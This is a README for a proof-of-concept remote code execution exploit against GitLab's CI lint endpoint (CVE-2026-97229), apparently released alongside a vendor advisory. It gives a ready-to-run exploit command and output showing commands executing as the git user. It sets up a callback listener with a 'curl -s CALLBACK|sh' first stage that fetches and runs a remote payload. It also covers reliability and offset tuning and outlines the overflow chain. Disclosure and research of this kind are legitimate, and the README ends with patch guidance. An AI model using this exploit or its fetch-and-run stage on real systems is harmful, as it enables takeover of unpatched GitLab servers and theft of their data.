
GitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image
poc.py exploits CVE-2026-97229 through GitLab's public CI lint endpoint. An attacker with permission to push to a public project supplies a CI regular expression and a specially named path. After that setup, a request without credentials executes the selected command as the GitLab git account.
This is an initial PoC release. Analysis of the vulnerability, affected configurations, and additional reachable paths is ongoing. Rapid7's technical analysis is linked below.
GitLab rates the issue CVSS 10.0. It affects GitLab Community Edition and Enterprise Edition from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2.
The included native layout has only been tested against the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint for the delivery step.19.4.1 CE amd64 Ruby layout. Other affected builds need adjusted pcode and libruby offsets.--cmd execution and returned output.The chain requires project write access. Its later delivery request has no token, cookie, or authorization header; the authenticated clone URL pushes the attacker's payload branch.
Use Python 3.9 or newer and a Git client. The script has no third-party Python dependencies.
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
The default listener binds to 0.0.0.0:8000. Use --listen-host or --listen-port when the local bind address differs from the address supplied to --callback-url.
The callback value must fit in the 28-byte first-stage command. With curl -s CALLBACK|sh, CALLBACK can be at most 17 UTF-8 bytes. A short DNS name, redirector, or tunnel endpoint is usually easiest.
Use --insecure when the GitLab endpoint has a self-signed TLS certificate. This flag affects the lint request; it does not change callback TLS handling.
The GET normally ends with HTTP 502 after the callback. The payload executes inside a Puma worker, and that worker crashes after system() returns. Puma replaces it automatically. Treat returned command output as success, not the HTTP status.
On the exact target, the chain produced command output in 10 of 10 clean-worker trials with ASLR enabled. Each request took about 12 seconds. The same regular expression and path returned false without a callback on the official 19.4.2 Ruby compiler.
Running this against a lower-memory target may cause swapping, allocation failure, or an out-of-memory kill instead of code execution. Several concurrent requests can affect the whole GitLab instance.
.gitlab-ci.yml from the attacker-selected content_ref without credentials after the authenticated repository setup.include.rules.exists.regexp compiles an expression and tests it against attacker-controlled repository paths.{5(?#)7805} becomes {57805} in Onigmo but evades GitLab's repeat scanner.37,151 × 57,805 crosses INT_MAX, and a generated branch offset wraps into character-class bitmap bytes.system() call site in libruby.--cmd, then sends stdout and stderr back to the listener.Read Rapid7's technical analysis of CVE-2026-97229.
Upgrade to GitLab 19.2.8, 19.3.5, 19.4.2, or a later supported release. See GitLab's critical patch release for deployment guidance.